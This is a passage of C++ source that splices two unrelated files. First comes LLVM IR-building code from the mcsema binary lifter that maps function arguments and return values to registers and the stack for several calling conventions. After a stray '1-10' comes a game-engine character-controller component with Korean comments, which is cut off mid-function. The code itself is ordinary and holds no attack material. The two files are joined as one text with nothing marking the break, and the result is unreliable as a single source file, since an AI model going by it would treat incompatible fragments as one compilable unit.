extract = ir.CreateExtractElement(ret_val, GetConstantInt(64, i + start)); ir.CreateStore(extract, offset); } } static llvm::Value *InsertIntoVector(llvm::BasicBlock *block, llvm::Value *base_value, llvm::Value *reg_ptr, size_t count, size_t start=0) { llvm::IRBuilder<> ir(block); for (size_t i = 0; i < count; ++i) { auto offset = ir.CreateGEP(reg_ptr, GetConstantInt(64, i)); auto load = ir.CreateLoad(offset); base_value = ir.CreateInsertElement( base_value, load, GetConstantInt(64, i + start)); } return base_value; } // Scan through the register table. If we can match this argument request // to a register then do so. static const char *GetVarImpl( ValueKind val_kind, const std::vector &table, uint64_t &bitmap) { for (auto i = 0U; i < table.size(); ++i) { const auto ®_loc = table[i]; if (val_kind == (reg_loc.accepted_val_kinds & val_kind)) { auto mask = 1ULL << i; if (!(bitmap & mask)) { bitmap |= mask; return reg_loc.var_name.c_str(); } } } return nullptr; } // In special cases one type can be returned via two registers static bool TryStorePackedType(llvm::BasicBlock *block, llvm::Value *ret_val) { const auto ®s = CallingConventionInfo::GetPackedReturn( KindOfValue(ret_val->getType())); if (regs.names.empty() || regs.accepted_kinds == kInvalidKind) { LOG(INFO) << "Could not store return type " << remill::LLVMThingToString(ret_val->getType()) << " as packed type"; return false; } llvm::IRBuilder<> ir(block); // Need to get ptr to some type smaller than actual type is, as // it will be split into multiple registers auto ret_val_alloca = ir.CreateAlloca(ret_val->getType()); ir.CreateStore(ret_val, ret_val_alloca); auto ptr_ret_val = ir.CreateBitCast(ret_val_alloca, regs.unit_ptr_type); for (auto i = 0U; i < regs.names.size(); ++i) { // Get partial value from offset auto partial_value_ptr = ir.CreateGEP(ptr_ret_val, GetConstantInt(64, i)); auto partial_value = ir.CreateLoad(partial_value_ptr); llvm::Value *dest_loc = remill::FindVarInFunction(block, regs.names[i]); // Store actual value dest_loc = ir.CreateBitCast(dest_loc, regs.unit_ptr_type); ir.CreateStore(partial_value, dest_loc); } return true; } } // namespace CallingConvention::CallingConvention(llvm::CallingConv::ID cc_) : cc(cc_), used_reg_bitmap(0), used_return_bitmap(0), num_loaded_stack_bytes(DefaultUsedStackBytes(cc)), num_stored_stack_bytes(0), sp_name(StackPointerName()), tp_name(ThreadPointerName()), reg_table(CallingConventionInfo::Instance().GetArgumentTable(cc)), return_table(CallingConventionInfo::Instance().GetReturnTable(cc)) {} // TODO(lukas): Test win64 calling convention const char *CallingConvention::GetVarForNextArgument(llvm::Type *val_type) { auto val_kind = KindOfValue(val_type); auto next_var = GetVarImpl(val_kind, reg_table, used_reg_bitmap); // Win64 calling convention chooses one from pair // {gpr, xmm} and leaves the second one empty // // For example call of function foo(int32, float, int32) // will fill registers %rcx, %xmm1, %r8 if (llvm::CallingConv::Win64 == cc) { val_kind = (val_kind == kIntegralLeast64) ? kF64 : kIntegralLeast64; GetVarImpl(val_kind, reg_table, used_reg_bitmap); } return next_var; } const char *CallingConvention::GetVarForNextReturn(llvm::Type *val_type) { return GetVarImpl(KindOfValue(val_type), return_table, used_return_bitmap); } static llvm::Function *ReadIntFromMemFunc(uint64_t size_bytes) { if (8 == size_bytes) { return gModule->getFunction("__remill_read_memory_64"); } else if (4 == size_bytes) { return gModule->getFunction("__remill_read_memory_32"); } else if (2 == size_bytes) { return gModule->getFunction("__remill_read_memory_16"); } else if (1 == size_bytes) { return gModule->getFunction("__remill_read_memory_8"); } else { LOG(FATAL) << "Cannot find function to read " << size_bytes << "-byte integer from memory."; return nullptr; } } static llvm::Function *WriteIntToMemFunc(uint64_t size_bytes) { if (8 == size_bytes) { return gModule->getFunction("__remill_write_memory_64"); } else if (4 == size_bytes) { return gModule->getFunction("__remill_write_memory_32"); } else if (2 == size_bytes) { return gModule->getFunction("__remill_write_memory_16"); } else if (1 == size_bytes) { return gModule->getFunction("__remill_write_memory_8"); } else { LOG(FATAL) << "Cannot find function to read " << size_bytes << "-byte integer from memory."; return nullptr; } } // In llvm types that are expected to go into vector registers will // be of vector type, for example: <2 x float> will go into one %xmm. // External library must be compiled for the same architecture that // is passed to mcsema-lift, otherwise types may be wrong. llvm::Value *CallingConvention::LoadVectorArgument( llvm::BasicBlock *block, llvm::VectorType *goal_type) { llvm::IRBuilder<> ir(block); llvm::Value *base_value = llvm::Constant::getNullValue(goal_type); llvm::Type *under_type = goal_type->getElementType(); llvm::DataLayout dl(gModule); const size_t num_elements = goal_type->getNumElements(); const ssize_t element_size = static_cast( dl.getTypeAllocSize(under_type)); const ssize_t reg_size = static_cast(GetVectorRegSize()); const ssize_t reg_element_capacity = reg_size / element_size; ssize_t remaining = static_cast(num_elements); for (ssize_t i = 0; remaining > 0; ++i, remaining -= reg_size) { auto reg_var_name = GetVarForNextArgument(goal_type); LOG_IF(FATAL, !reg_var_name) << "Could not find available vector register"; llvm::Value *dest_loc = remill::FindVarInFunction(block, reg_var_name); dest_loc = ir.CreateBitCast(dest_loc, llvm::PointerType::get(under_type, 0)); const auto count = std::min(reg_element_capacity, remaining); base_value = InsertIntoVector( block, base_value, dest_loc, static_cast(count), static_cast(i * reg_element_capacity)); } return base_value; } llvm::Value *CallingConvention::LoadNextSimpleArgument( llvm::BasicBlock *block, llvm::Type *goal_type) { if (!goal_type) { goal_type = gWordType; } llvm::IRBuilder<> ir(block); if (auto vector_type = llvm::dyn_cast(goal_type)) { return LoadVectorArgument(block, vector_type); } if (auto reg_var_name = GetVarForNextArgument(goal_type)) { auto reg_ptr = remill::FindVarInFunction(block, reg_var_name); return ir.CreateLoad( ir.CreateBitCast(reg_ptr, llvm::PointerType::get(goal_type, 0))); } // We can't match the argument request to a register, so lets look for it on // the stack. The supported calling conventions are sane, to the extent // that they push arguments onto the stack in reverse order (i.e. last arg // first). auto sp = LoadStackPointer(block); CHECK(sp->getType() == gWordType); auto addr_size = gArch->address_size / 8U; auto offset = llvm::ConstantInt::get(gWordType, num_loaded_stack_bytes); auto addr = ir.CreateAdd(sp, offset); std::vector args = {remill::LoadMemoryPointer(block), addr}; llvm::DataLayout dl(gModule); auto alloc_size = dl.getTypeAllocSize(goal_type); llvm::Value *val = nullptr; if (goal_type->isX86_FP80Ty()) { val = ir.CreateFPExt( ir.CreateCall(gModule->getFunction("__remill_read_memory_f80"), args), llvm::Type::getX86_FP80Ty(*gContext)); } else if (goal_type->isDoubleTy()) { val = ir.CreateCall(gModule->getFunction("__remill_read_memory_f64"), args); } else if (goal_type->isFloatTy()) { val = ir.CreateCall(gModule->getFunction("__remill_read_memory_f32"), args); } else if (goal_type->isIntegerTy()) { auto read_mem = ReadIntFromMemFunc(alloc_size); val = ir.CreateCall(read_mem, args); if (dl.getTypeSizeInBits(goal_type) < dl.getTypeAllocSizeInBits(goal_type)) { val = ir.CreateTrunc(val, goal_type); } } else if (goal_type->isPointerTy()) { llvm::Function *func = nullptr; if (32 == gArch->address_size) { func = gModule->getFunction("__remill_read_memory_32"); } else { func = gModule->getFunction("__remill_read_memory_64"); } val = ir.CreateIntToPtr(ir.CreateCall(func, args), goal_type); } else { LOG(FATAL) << "Can't handle reading an " << remill::LLVMThingToString(goal_type) << " value from the stack"; } // Bump the stack pointer. alloc_size = std::max(alloc_size, addr_size); num_loaded_stack_bytes += alloc_size; return val; } llvm::Value *CallingConvention::LoadNextArgument(llvm::BasicBlock *block, llvm::Type *target_type, bool is_byval) { if (!target_type) { target_type = gWordType; } llvm::IRBuilder<> ir(block); std::vector underlying_values; llvm::Type *goal_type = target_type; if (target_type->isPointerTy() && !is_byval) { return LoadNextSimpleArgument(block, target_type); } if (auto struct_type = llvm::dyn_cast(goal_type)) { std::vector underlying_values; for (unsigned i = 0; i < struct_type->getNumElements(); ++i) { llvm::Type *under_type = struct_type->getElementType(i); underlying_values.push_back( LoadNextSimpleArgument(block, under_type)); } llvm::IRBuilder<> ir(block); auto alloc_struct = ir.CreateAlloca(target_type); for (unsigned i = 0; i < underlying_values.size(); ++i) { llvm::Value *offsets[] = {GetConstantInt(64, 0), GetConstantInt(64, i)}; auto gep = ir.CreateGEP(alloc_struct, offsets); ir.CreateStore(underlying_values[i], gep); } return ir.CreateLoad(alloc_struct); } else if (is_byval) { // byval attribute says that caller makes a copy of argument on the stack // this happens if type of argument is bigger than 128 bits. auto stack_ptr = LoadStackPointer(block); auto offset = llvm::ConstantInt::get(gWordType, num_loaded_stack_bytes); auto addr = ir.CreateAdd(stack_ptr, offset); llvm::DataLayout dl(gModule); auto ptr_type = llvm::dyn_cast(target_type); num_loaded_stack_bytes += dl.getTypeAllocSize(ptr_type->getElementType()); return ir.CreateIntToPtr(addr, target_type); } return LoadNextSimpleArgument(block, target_type); } void CallingConvention::StoreVectorRetValue(llvm::BasicBlock *block, llvm::Value *ret_val, llvm::VectorType *goal_type) { llvm::IRBuilder<> ir(block); llvm::Type *under_type = goal_type->getElementType(); llvm::DataLayout dl(gModule); const size_t num_elements = goal_type->getNumElements(); const ssize_t reg_size = static_cast(GetVectorRegSize()); const ssize_t element_size = static_cast( dl.getTypeAllocSize(under_type)); const ssize_t reg_element_capacity = reg_size / element_size; ssize_t remaining = static_cast(num_elements); for (ssize_t i = 0U; remaining > 0; ++i, remaining -= reg_element_capacity) { auto reg_var_name = GetVarForNextReturn(goal_type); LOG_IF(FATAL, !reg_var_name) << "Could not find available vector register"; llvm::Value *dest_loc = remill::FindVarInFunction(block, reg_var_name); // Clear out whatever was already there auto storage_type = llvm::dyn_cast( dest_loc->getType())->getElementType(); ir.CreateStore(llvm::Constant::getNullValue(storage_type), dest_loc); dest_loc = ir.CreateBitCast(dest_loc, llvm::PointerType::get(under_type, 0)); const auto count = std::min(reg_element_capacity, remaining); const auto already_done = i * reg_element_capacity; ExtractFromVector(block, ret_val, dest_loc, static_cast(count), static_cast(already_done)); } } void CallingConvention::StoreReturnValue(llvm::BasicBlock *block, llvm::Value *ret_val) { if (!ret_val) { return; } auto val_type = ret_val->getType(); if (val_type->isVoidTy()) { return; } llvm::IRBuilder<> ir(block); for (unsigned i = 0; i < GetNumberOfElements(val_type); ++i) { llvm::Value* target_val = ret_val; if (val_type->isStructTy()) { target_val = ir.CreateExtractValue(ret_val, i); } auto under_type = RetrieveArgumentType(val_type, i); if (auto vector_type = llvm::dyn_cast(under_type)) { StoreVectorRetValue(block, target_val, vector_type); continue; } auto val_var = GetVarForNextReturn(under_type); // If register was not found in default table it's possible // that we are dealing with some special corner case if (!val_var) { if (GetNumberOfElements(val_type) == 1 && TryStorePackedType(block, ret_val)) { return; } LOG(FATAL) << "Cannot decide how to store " << remill::LLVMThingToString(under_type) << " part of " << remill::LLVMThingToString(val_type); } // If it's a pointer then convert it to a pointer-sized integer. if (under_type->isPointerTy()) { target_val = ir.CreatePtrToInt(target_val, gWordType); under_type = gWordType; } // If it's an 80-bit float then convert it to a double. if (under_type->isX86_FP80Ty()) { under_type = llvm::Type::getDoubleTy(*gContext); target_val = ir.CreateFPTrunc(target_val, under_type); } CHECK(under_type->isIntegerTy() || under_type->isFloatTy() || under_type->isDoubleTy()); llvm::DataLayout dl(gModule); // Canonicalize integer return values into address-sized values. if (under_type->isIntegerTy()) { auto size = dl.getTypeSizeInBits(under_type); if (size < gArch->address_size) { under_type = gWordType; target_val = ir.CreateZExt(target_val, under_type); } else if (size > gArch->address_size) { LOG(ERROR) << "Truncating value of type " << remill::LLVMThingToString(under_type) << " to store it into variable " << val_var << " of type " << remill::LLVMThingToString(gWordType); target_val = ir.CreateTrunc(target_val, gWordType); under_type = gWordType; } // Storing a `float` into an x87 register, convert it to a `double`. } else if (under_type->isFloatTy()) { if (val_var && val_var[0] == 'S' && val_var[1] == 'T') { under_type = llvm::Type::getDoubleTy(*gContext); target_val = ir.CreateFPExt(target_val, under_type); } } llvm::Value *dest_loc = remill::FindVarInFunction(block, val_var); // Clear out whatever was already there. auto storage_type = llvm::dyn_cast( dest_loc->getType())->getElementType(); ir.CreateStore(llvm::Constant::getNullValue(storage_type), dest_loc); // Add in the new value. dest_loc = ir.CreateBitCast(dest_loc, llvm::PointerType::get(under_type, 0)); ir.CreateStore(target_val, dest_loc); } } void CallingConvention::StoreArguments( llvm::BasicBlock *block, const std::vector &arg_vals) { auto memory_ref = remill::LoadMemoryPointerRef(block); llvm::IRBuilder<> ir(block); std::vector stack_arg_vals; // First try to put as many as possible into registers. for (auto arg_val : arg_vals) { auto arg_type = arg_val->getType(); if (auto reg_var_name = GetVarForNextArgument(arg_type)) { auto reg_ptr = remill::FindVarInFunction(block, reg_var_name); ir.CreateStore( arg_val, ir.CreateBitCast(reg_ptr, llvm::PointerType::get(arg_type, 0))); } else { stack_arg_vals.push_back(arg_val); } } // Now we have some left that need to be pushed onto the stack. We're going // to push them onto the stack in reverse order. CHECK(gArch->IsX86() || gArch->IsAMD64() || gArch->IsAArch64()); std::reverse(stack_arg_vals.begin(), stack_arg_vals.end()); auto addr_size = gArch->address_size / 8; auto sp = LoadStackPointer(block); llvm::Value *memory = ir.CreateLoad(memory_ref); llvm::DataLayout dl(gModule); std::vector args(3, nullptr); for (auto arg_val : stack_arg_vals) { auto arg_type = arg_val->getType(); auto alloc_size = dl.getTypeAllocSize(arg_type); llvm::Function *func = nullptr; if (arg_type->isX86_FP80Ty()) { func = gModule->getFunction("__remill_write_memory_f80"); arg_val = ir.CreateFPTrunc(arg_val, llvm::Type::getDoubleTy(*gContext)); } else if (arg_type->isDoubleTy()) { func = gModule->getFunction("__remill_write_memory_f64"); } else if (arg_type->isFloatTy()) { func = gModule->getFunction("__remill_write_memory_f32"); } else if (arg_type->isIntegerTy()) { func = WriteIntToMemFunc(alloc_size); if (dl.getTypeSizeInBits(arg_type) < dl.getTypeAllocSizeInBits(arg_type)) { arg_type = llvm::Type::getIntNTy( *gContext, static_cast(alloc_size * 8)); arg_val = ir.CreateZExt(arg_val, arg_type); } } else if (arg_type->isPointerTy()) { if (32 == gArch->address_size) { func = gModule->getFunction("__remill_write_memory_32"); } else { func = gModule->getFunction("__remill_write_memory_64"); } arg_val = ir.CreatePtrToInt(arg_val, gWordType); } CHECK(func != nullptr) << "Could not find remill memory write intrinsic to write a " << alloc_size << "-byte value of type " << remill::LLVMThingToString(arg_type) << " to the stack."; // Store the argument to the stack memory. args[0] = memory; args[1] = sp; args[2] = arg_val; memory = ir.CreateCall(func, args); // Bump the stack pointer. alloc_size = std::max(alloc_size, addr_size); sp = ir.CreateSub(sp, llvm::ConstantInt::get(gWordType, alloc_size)); num_stored_stack_bytes += alloc_size; } ir.CreateStore(memory, memory_ref); // Update the memory pointer. StoreStackPointer(block, sp); } void CallingConvention::FreeArguments(llvm::BasicBlock *block) { if (!num_stored_stack_bytes) { return; } if (llvm::CallingConv::X86_StdCall == cc || llvm::CallingConv::X86_ThisCall == cc) { return; // Callee cleanup. } auto sp = LoadStackPointer(block); llvm::IRBuilder<> ir(block); sp = ir.CreateAdd( sp, llvm::ConstantInt::get(gWordType, num_stored_stack_bytes)); StoreStackPointer(block, sp); } void CallingConvention::AllocateReturnAddress(llvm::BasicBlock *block) { if (gArch->IsAArch64()) { return; // Return address is passed through the link pointer. // The stack grows down on x86/amd64. } else if (gArch->IsX86() || gArch->IsAMD64()) { llvm::IRBuilder<> ir(block); auto addr_size = gArch->address_size / 8; if (llvm::CallingConv::Win64 == cc) { CHECK(gArch->IsAMD64()); addr_size += 32; // Shadow space. } auto addr_size_bytes = llvm::ConstantInt::get(gWordType, addr_size); StoreStackPointer( block, ir.CreateSub(LoadStackPointer(block), addr_size_bytes)); } else { LOG(FATAL) << "Cannot allocate space for return address for architecture " << remill::GetArchName(gArch->arch_name) << " and calling convention " << cc; } } void CallingConvention::FreeReturnAddress(llvm::BasicBlock *block) { if (gArch->IsAArch64()) { auto x30 = remill::FindVarInFunction(block, "X30"); llvm::IRBuilder<> ir(block); auto ret_addr = ir.CreateLoad(x30); remill::StoreProgramCounter(block, ret_addr); // The stack grows down on x86/amd64. } else if (gArch->IsX86() || gArch->IsAMD64()) { llvm::IRBuilder<> ir(block); auto addr_size = gArch->address_size / 8; auto addr_size_bytes = llvm::ConstantInt::get(gWordType, addr_size); auto sp = LoadStackPointer(block); auto read_ret_addr = ReadIntFromMemFunc(addr_size); llvm::Value *read_ret_addr_args[] = {remill::LoadMemoryPointer(block), sp}; auto ret_addr = ir.CreateCall(read_ret_addr, read_ret_addr_args); remill::StoreProgramCounter(block, ret_addr); StoreStackPointer( block, ir.CreateAdd(sp, addr_size_bytes)); } else { LOG(FATAL) << "Cannot allocate space for return address for architecture " << remill::GetArchName(gArch->arch_name) << " and calling convention " << cc; } } llvm::Value *CallingConvention::LoadReturnValue(llvm::BasicBlock *block, llvm::Type *val_type) { llvm::IRBuilder<> ir(block); if (!val_type) { val_type = gWordType; } //auto val_var = ReturnValVar(cc, val_type); auto val_var = GetVarForNextReturn(val_type); return ir.CreateLoad(ir.CreateBitCast( remill::FindVarInFunction(block, val_var), llvm::PointerType::get(val_type, 0))); } llvm::Value *CallingConvention::LoadStackPointer(llvm::BasicBlock *block) { llvm::IRBuilder<> ir(block); return ir.CreateLoad(remill::FindVarInFunction(block, sp_name, false)); } void CallingConvention::StoreStackPointer(llvm::BasicBlock *block, llvm::Value *new_val) { llvm::IRBuilder<> ir(block); auto val_type = new_val->getType(); if (val_type->isPointerTy()) { new_val = ir.CreatePtrToInt(new_val, gWordType); } ir.CreateStore( new_val, remill::FindVarInFunction(block, StackPointerVarName())); } void CallingConvention::StoreThreadPointer(llvm::BasicBlock *block, llvm::Value *new_val) { llvm::IRBuilder<> ir(block); auto val_type = new_val->getType(); if (val_type->isPointerTy()) { new_val = ir.CreatePtrToInt(new_val, gWordType); } ir.CreateStore( new_val, remill::FindVarInFunction(block, ThreadPointerVarName())); } // Return the address of the base of the TLS data. llvm::Value *GetTLSBaseAddress(llvm::IRBuilder<> &ir) { enum { kGSAddressSpace = 256U, kFSAddressSpace = 257U, // From inside of the TEB. kWin32TLSPointerIndex = 0x2c, kWin64TLSPointerIndex = 0x58 }; if (gArch->IsAArch64()) { #if LLVM_VERSION(3, 7) >= LLVM_VERSION_NUMBER LOG(ERROR) << "LLVM 3.7 and below have no AArch64 thread pointer-related " << "intrinsics; using NULL as the base of TLS."; return llvm::ConstantInt::get(gWordType, 0); #elif LLVM_VERSION(3, 8) >= LLVM_VERSION_NUMBER LOG(ERROR) << "Assuming the `llvm.arm.thread.pointer` intrinsic gets us the base " << "of thread-local storage."; auto func = llvm::Intrinsic::getDeclaration( gModule, llvm::Intrinsic::arm_thread_pointer); return ir.CreatePtrToInt(ir.CreateCall(func), gWordType); #else LOG(ERROR) << "Assuming the `thread.pointer` intrinsic gets us the base " << "of thread-local storage."; auto func = llvm::Intrinsic::getDeclaration( gModule, llvm::Intrinsic::thread_pointer); return ir.CreatePtrToInt(ir.CreateCall(func), gWordType); #endif // 64-bit x86. } else if (gArch->IsAMD64()) { llvm::ConstantInt *base = nullptr; unsigned addr_space = 0; if (remill::kOSWindows == gArch->os_name) { base = llvm::ConstantInt::get(gWordType, kWin64TLSPointerIndex); addr_space = kGSAddressSpace; } else if (remill::kOSLinux == gArch->os_name) { base = llvm::ConstantInt::get(gWordType, 0); addr_space = kFSAddressSpace; } if (base) { auto tls_base_ptr = ir.CreateIntToPtr( base, llvm::PointerType::get(gWordType, addr_space)); return ir.CreateLoad(tls_base_ptr); } // 32-bit x86. } else if (gArch->IsX86()) { llvm::ConstantInt *base = nullptr; unsigned addr_space = 0; if (remill::kOSWindows == gArch->os_name) { base = llvm::ConstantInt::get(gWordType, kWin32TLSPointerIndex); addr_space = kFSAddressSpace; } else if (remill::kOSLinux == gArch->os_name) { base = llvm::ConstantInt::get(gWordType, 0); addr_space = kGSAddressSpace; } if (base) { auto tls_base_ptr = ir.CreateIntToPtr( base, llvm::PointerType::get(gWordType, addr_space)); return ir.CreateLoad(tls_base_ptr); } } LOG(FATAL) << "Cannot generate code to find the thread base pointer for arch " << remill::GetArchName(gArch->arch_name) << " and OS " << remill::GetOSName(gArch->os_name); return nullptr; } } // namespace mcsema 1-10 // Copyright(c) 2017 POLYGONTEK // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http ://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "Precompiled.h" #include "Render/Render.h" #include "Physics/Collider.h" #include "Components/ComTransform.h" #include "Components/ComCollider.h" #include "Components/ComRigidBody.h" #include "Components/ComCharacterController.h" #include "Game/GameWorld.h" #include "Game/CastResult.h" BE_NAMESPACE_BEGIN OBJECT_DECLARATION("Character Controller", ComCharacterController, Component) BEGIN_EVENTS(ComCharacterController) END_EVENTS void ComCharacterController::RegisterProperties() { REGISTER_PROPERTY("mass", "Mass", float, mass, 1.f, "", PropertyInfo::Flag::Editor).SetRange(0, 100, 0.1f); REGISTER_ACCESSOR_PROPERTY("capsuleRadius", "Capsule Radius", float, GetCapsuleRadius, SetCapsuleRadius, MeterToUnit(0.5f), "", PropertyInfo::Flag::SystemUnits | PropertyInfo::Flag::Editor); REGISTER_ACCESSOR_PROPERTY("capsuleHeight", "Capsule Height", float, GetCapsuleHeight, SetCapsuleHeight, MeterToUnit(0.8f), "", PropertyInfo::Flag::SystemUnits | PropertyInfo::Flag::Editor); REGISTER_ACCESSOR_PROPERTY("stepOffset", "Step Offset", float, GetStepOffset, SetStepOffset, CentiToUnit(40.0f), "", PropertyInfo::Flag::SystemUnits | PropertyInfo::Flag::Editor).SetRange(0, CentiToUnit(50.0f), CentiToUnit(1.0f)); REGISTER_ACCESSOR_PROPERTY("slopeLimit", "Slope Limit Angle", float, GetSlopeLimit, SetSlopeLimit, 60.0f, "", PropertyInfo::Flag::Editor).SetRange(0, 90, 1); } ComCharacterController::ComCharacterController() { collider = nullptr; body = nullptr; correctionSensor = nullptr; } ComCharacterController::~ComCharacterController() { Purge(false); } bool ComCharacterController::IsConflictComponent(const MetaObject &componentClass) const { if (componentClass.IsTypeOf(ComCollider::metaObject)) { return true; } return false; } void ComCharacterController::Purge(bool chainPurge) { if (collider) { colliderManager.ReleaseCollider(collider); collider = nullptr; } if (correctionSensor) { physicsSystem.DestroyCollidable(correctionSensor); correctionSensor = nullptr; } if (body) { physicsSystem.DestroyCollidable(body); body = nullptr; } if (chainPurge) { Component::Purge(); } } void ComCharacterController::Init() { Component::Init(); ComTransform *transform = GetEntity()->GetTransform(); transform->Connect(&ComTransform::SIG_TransformUpdated, this, (SignalCallback)&ComCharacterController::TransformUpdated, SignalObject::ConnectionType::Unique); // Mark as initialized SetInitialized(true); } void ComCharacterController::Awake() { if (!body) { CreateBodyAndSensor(); } } void ComCharacterController::CreateBodyAndSensor() { ComTransform *transform = GetEntity()->GetTransform(); Vec3 center = Vec3(0, 0, capsuleRadius + capsuleHeight * 0.5f); Vec3 scaledCenter = transform->GetScale() * center; float scaledRadius = (transform->GetScale() * capsuleRadius).MaxComponent(); float scaledHeight = transform->GetScale().z * capsuleHeight; collider = colliderManager.AllocUnnamedCollider(); collider->CreateCapsule(scaledCenter, scaledRadius, scaledHeight); PhysCollidableDesc desc; desc.type = PhysCollidable::Type::RigidBody; desc.character = true; desc.kinematic = true; desc.ccd = false; desc.mass = mass; desc.restitution = 0.5f; desc.friction = 1.0f; desc.rollingFriction = 1.0f; desc.spinningFriction = 1.0f; desc.linearDamping = 0.0f; desc.angularDamping = 0.0f; desc.origin = transform->GetOrigin(); desc.axis = transform->GetAxis(); PhysShapeDesc shapeDesc; shapeDesc.localOrigin.SetFromScalar(0); shapeDesc.localAxis.SetIdentity(); shapeDesc.collider = collider; desc.shapes.Append(shapeDesc); body = (PhysRigidBody *)physicsSystem.CreateCollidable(desc); body->SetCollisionFilterBit(GetEntity()->GetLayer()); body->SetAngularFactor(Vec3(0, 0, 0)); body->SetCharacter(true); body->SetUserPointer(this); //body->SetCollisionListener(this); desc.type = PhysCollidable::Type::Sensor; desc.character = false; desc.kinematic = false; desc.ccd = false; desc.mass = 0.0f; desc.restitution = 0.0f; desc.friction = 0.0f; desc.rollingFriction = 0.0f; desc.spinningFriction = 0.0f; desc.linearDamping = 0.0f; desc.angularDamping = 0.0f; correctionSensor = (PhysSensor *)physicsSystem.CreateCollidable(desc); correctionSensor->SetDebugDraw(false); if (IsActiveInHierarchy()) { body->SetIgnoreCollisionCheck(*correctionSensor, true); body->AddToWorld(GetGameWorld()->GetPhysicsWorld()); correctionSensor->AddToWorld(GetGameWorld()->GetPhysicsWorld()); } } void ComCharacterController::Update() { if (!IsActiveInHierarchy()) { return; } origin = GetEntity()->GetTransform()->GetOrigin(); RecoverFromPenetration(); GroundTrace(); GetEntity()->GetTransform()->SetOrigin(origin); } void ComCharacterController::GroundTrace() { Vec3 p1 = origin; Vec3 p2 = p1; // 땅에 닿아있는지 체크하기위해 z 축으로 6cm 만큼 내려서 이동시켜 본다 p2.z -= CentiToUnit(6.0f); int filterMask = GetGameWorld()->GetPhysicsWorld()->GetCollisionFilterMask(body->GetCollisionFilterBit()); if (!GetGameWorld()->GetPhysicsWorld()->ConvexCast(body, collider, Mat3::identity, p1, p2, filterMask, groundTrace)) { onGround = false; isValidGroundTrace = false; return; } isValidGroundTrace = true; // FIXME: speration normal 이 아닌 표면의 normal 과 비교해야 한다 if (groundTrace.normal.z < slopeDotZ) { onGround = false; return; } onGround = true; } void ComCharacterController::RecoverFromPenetration() { Array contacts; int numPenetrationLoop = 0; while (1) { numPenetrationLoop++; // 최대 4 번까지 iteration if (numPenetrationLoop > 4) { break; } contacts.Clear(); correctionSensor->SetOrigin(origin); correctionSensor->GetContacts(contacts); float maxPen = 0; for (int i = 0; i < contacts.Count(); i++) { Contact &contact = contacts[i]; if (!contact.object->IsStatic()) { continue; } if (contact.dist < maxPen) { maxPen = contact.dist; // 한번에 밀어내지 않고, 가장 깊이 penetration 된 contact 부터 조금씩 밀어낸다. origin -= contact.normal * contact.dist * 0.25f; //BE_LOG("%s (%f) -> %s\n", contact.normal.ToString(), contact.dist, origin.ToString()); } } // 다 밀어냈다면 종료 if (maxPen == 0) { break; } } } void ComCharacterController::OnActive() { if (body) { body->AddToWorld(GetGameWorld()->GetPhysicsWorld()); } if (correctionSensor) { correctionSensor->AddToWorld(GetGameWorld()->GetPhysicsWorld()); } } void ComCharacterController::OnInactive() { if (body) { body->RemoveFromWorld(); } if (correctionSensor) { correctionSensor->RemoveFromWorld(); } } bool ComCharacterController::SlideMove(const Vec3 &moveVector) { const float backoffScale = 1.0001f; CastResultEx trace; Vec3 moveVec = moveVector; Vec3 slideVec; // bump normal 리스트를 작성한다. Vec3 bumpNormals[5]; int numBumpNormals = 0; if (isValidGroundTrace) { // 땅 바닥과 슬라이드 moveVec = moveVec.Slide(groundTrace.normal, backoffScale); // 땅 바닥 normal 을 bump normal 리스트에 추가 bumpNormals[numBumpNormals++] = groundTrace.normal; } if (moveVec.LengthSqr() == 0) { return false; } // 시작 move 방향을 bump normal 리스트에 추가 bumpNormals[numBumpNormals] = moveVec; bumpNormals[numBumpNormals].Normalize(); numBumpNormals++; float f = 1.0f; for (int bumpCount = 0; bumpCount < 4; bumpCount++) { Vec3 targetPos = origin + moveVec * f; int filterMask = GetGameWorld()->GetPhysicsWorld()->GetCollisionFilterMask(body->GetCollisionFilterBit()); // origin 에서 targetPos 로 capsule cast GetGameWorld()->GetPhysicsWorld()->ConvexCast(body, collider, Mat3::identity, origin, targetPos, filterMask, trace); // 이동 가능한 fraction 만큼 origin 이동 if (trace.fraction > 0.0f) { origin = trace.endPos; numBumpNormals = 0; } // cast 결과 충돌이 없다면 종료 if (trace.fraction == 1.0f) { break; } // 이동한 만큼 이동거리를 빼준다. f -= f * trace.fraction; //BE_LOG("%i %f\n", bumpCount, trace.normal.z); //GetGameWorld()->GetRenderWorld()->SetDebugColor(Vec4Color::cyan, Vec4(0, 0, 0, 0)); //GetGameWorld()->GetRenderWorld()->DebugLine(trace.point, trace.point + trace.normal * 10, 1, false, 10000); // 누적된 bump normals 의 최대 개수를 초과했다면.. if (numBumpNormals >= COUNT_OF(bumpNormals)) { // 여기로 오면 안된다. 혹시나 만약 오게되면 여기서 종료. return true; } // 같은 평면에 부딛혔다면 moveVec 을 normal 방향으로 약간 nudge 시킨다. int i = 0; for (; i < numBumpNormals; i++) { if (trace.normal.Dot(bumpNormals[i]) > 0.99f) { moveVec += trace.normal * 0.01f; break; } } if (i < numBumpNormals) { continue; } // 부딪힌 normal 을 추가 bumpNormals[numBumpNormals++] = trace.normal; for (int i = 0; i < numBumpNormals; i++) { // moveVec 방향으로 부딪힐 수 없는 normal 은 제외 if (moveVec.Dot(bumpNormals[i]) >= 0.0f) { continue; } // 부딪힌 normal 로 slide slideVec = moveVec.Slide(bumpNormals[i], backoffScale); for (int j = 0; j < numBumpNormals; j++) { if (j == i) { continue; } if (slideVec.Dot(bumpNormals[j]) >= 0.0f) { continue; } // 또 다시 다른 평면으로 slide slideVec = slideVec.Slide(bumpNormals[j], backoffScale); if (slideVec.Dot(bumpNormals[i]) >= 0.0f) { continue; } // 두번째 slide vector 가 첫번째 부딛힌 normal 과 또 부딛힌다면, cross 방향으로 slide Vec3 slideDir = bumpNormals[i].Cross(bumpNormals[j]); slideDir.Normalize(); slideVec = slideDir * slideDir.Dot(moveVec); slideVec += (bumpNormals[i] + bumpNormals[j]) * 0.01f; for (int k = 0; k < numBumpNormals; k++) { if (k == i || k == j) { continue; } if (slideVec.Dot(bumpNormals[k]) >= 0.0f) { continue; } // 다른 normal 과 또 부딛힌다면 slide 를 멈춘다. return true; } } moveVec = slideVec; break; } } return false; } bool ComCharacterController::Move(const Vec3 